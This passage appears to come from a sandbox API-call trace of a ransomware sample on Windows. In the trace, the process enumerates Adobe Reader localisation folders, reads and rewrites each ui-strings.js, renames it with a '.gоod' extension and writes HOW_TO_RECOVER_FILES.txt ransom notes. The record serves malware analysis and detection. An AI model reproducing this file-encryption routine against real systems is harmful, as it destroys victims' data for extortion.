lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0144.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0144.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x5219b7cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf00)) returned 1 [0144.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0144.090] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js.gоod")) returned 1 [0144.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0144.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0144.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ro-ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0144.091] GetFileType (hFile=0x7f8) returned 0x1 [0144.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0144.092] GetFileType (hFile=0x7f8) returned 0x1 [0144.092] WriteFile (in: hFile=0x7f8, lpBuffer=0x36202f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x36202f0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0144.093] CloseHandle (hObject=0x7f8) returned 1 [0144.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0144.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root", lpFilePart=0x0) returned 0x67 [0144.093] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0144.094] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0144.094] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.094] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0144.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0144.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0144.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0144.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root", lpFilePart=0x0) returned 0x67 [0144.094] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0144.094] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.095] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0144.095] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0144.095] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0144.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0144.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0144.095] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x75 [0144.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0144.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x362fe88 | out: lpFileInformation=0x362fe88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0144.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0144.095] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x75 [0144.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0144.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0144.096] GetFileType (hFile=0x7f8) returned 0x1 [0144.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0144.096] GetFileType (hFile=0x7f8) returned 0x1 [0144.096] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xdf0 [0144.096] ReadFile (in: hFile=0x7f8, lpBuffer=0x3630fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3630fe0*, lpNumberOfBytesRead=0x1ffeba08*=0xdf0, lpOverlapped=0x0) returned 1 [0144.265] CloseHandle (hObject=0x7f8) returned 1 [0144.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0144.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.363] GetFileType (hFile=0x808) returned 0x1 [0144.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0144.364] GetFileType (hFile=0x808) returned 0x1 [0144.364] WriteFile (in: hFile=0x808, lpBuffer=0x353d4c8*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x353d4c8*, lpNumberOfBytesWritten=0x1ffeb918*=0xe00, lpOverlapped=0x0) returned 1 [0144.364] CloseHandle (hObject=0x808) returned 1 [0144.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x75 [0144.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7a [0144.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0144.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x52424096, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0144.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0144.365] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\root\\ui-strings.js.gоod")) returned 1 [0144.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x80 [0144.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0144.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\root\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0144.366] GetFileType (hFile=0x808) returned 0x1 [0144.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0144.366] GetFileType (hFile=0x808) returned 0x1 [0144.367] WriteFile (in: hFile=0x808, lpBuffer=0x3540d38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3540d38*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0144.367] CloseHandle (hObject=0x808) returned 1 [0144.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0144.368] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru", lpFilePart=0x0) returned 0x68 [0144.368] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0144.368] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.368] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x117d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0144.368] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.369] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0144.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0144.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0144.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0144.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru", lpFilePart=0x0) returned 0x68 [0144.369] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0144.369] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.369] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x117d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0144.369] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x117d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0144.370] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0144.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0144.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0144.370] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0144.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0144.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x35508f0 | out: lpFileInformation=0x35508f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x117d)) returned 1 [0144.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0145.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0145.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0145.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ru-ru\\ui-strings.js"), 